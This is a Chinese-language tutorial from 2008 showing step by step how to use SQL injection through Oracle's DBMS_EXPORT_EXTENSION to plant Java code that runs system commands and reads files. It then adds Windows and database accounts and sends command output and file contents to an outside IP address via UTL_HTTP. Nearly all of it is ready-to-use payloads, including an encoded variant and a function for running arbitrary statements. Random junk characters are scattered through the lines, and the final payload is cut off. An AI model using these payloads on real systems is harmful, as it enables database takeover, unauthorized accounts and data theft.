实例演示oracle注入获取cmdshell的全过程

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以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
# L. a2 |. ?/ _的形式即可。(用" 'a'|| "是为了让语句返回true值)
语句有点长，可能要用post提交。
以下是各个步骤：
9 ^+ X3 d( n, F8 `9 j" X1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
. f: r' W$ O1 l$ U& I* [  ]% p/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 V. [+ O& A4 i( o& {- r) g+ Xcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
# V5 _9 h3 F7 Q, R5 h, s! pnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
4 x( o3 n- {; G% i: r}'''';END;'';END;--','SYS',0,'1',0) from dual
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------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
. H/ T9 A' {9 r% Q/ U% I% q1 d/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
& U/ L- e" b+ A' Z3 p) Anew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 g: `* b! U6 k}'''';END;'';END;--','SYS',0,'1',0) from dual
1 [$ R; W' `7 K6 i)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
8 g" f- i) N" k3 I------------------------------
2.赋Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
4 J6 R5 M% v. C' I  fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: U) Q  a. o# x( _create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
9 d' P1 t3 v  x* N5 \9 V; u  ]7 {4.赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
: x" o9 x$ Q( H0 \0 |7 j9 band '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
3 e" R9 k1 ?" d) |select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
7 s% ]- c5 t- x, }5 \)
6.执行命令：
# ~* v( D0 W& n* S# J0 g" f/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

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/xxx.jsp?id=1 and '1'<>(
/ m. x  {7 W1 R1 D2 dselect  sys.LinxReadFile('c:/boot.ini') from dual

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注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
7 B# _* Z) T# {& C8 Q如果要查看运行结果可以用 union :
+ S6 F4 f! u, a) s5 _/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
, ~+ u5 q! Q& J, o) |" G& j  OSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
9 v& I' i  l( F--------------------
# L2 U! h1 h" v) f/ ~$ _  w. G) i6.内部变化
通过以下命令可以查看all_objects表达改变：
: J& r( \- c3 kselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
# m% |" J, U# W4 \0 A  V& M, k7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
1 h0 y, O/ d/ i& g1 R: v" t====================================================
全文结束。谨以此文赠与我的朋友。
8 m" `0 J% R1 t2 _linx
9 ?4 w5 m' ^' ?4 S* B124829445
2008.1.12
& o4 j. P6 Z: x( n3 Elinyujian@bjfu.edu.cn
======================================================================
测试漏洞的另一方法：
: P& y5 O1 F) Y创建oracle帐号：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
, T+ d% ]: H3 S即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
9 q& Z( L: ]0 {! e' ^! R7 Lchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
确定漏洞存在：
" u1 N! G# c+ }, m1<>(
. n% c, c  e+ nselect user_id from all_users where username='LINXSQL'
5 v& Q+ J, T. h+ N)
9 ]0 T& y* p  N8 o给linxsql连接权限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; U: S+ a* c: [# A8 {" ?GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
删除帐号：
4 s& ]& F, M; F% N% G- pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
3 v/ B$ N# h% c8 }. A1 ~2 o5 {======================
以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' W( t. `! e7 t$ B9 s9 ccreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
　)
* l8 L0 E9 }2 x1 I( B
5 c! ?) J& Y$ a( I4 o; n
2 b6 t. z/ O4 _
$ n5 z% a2 K, i9 t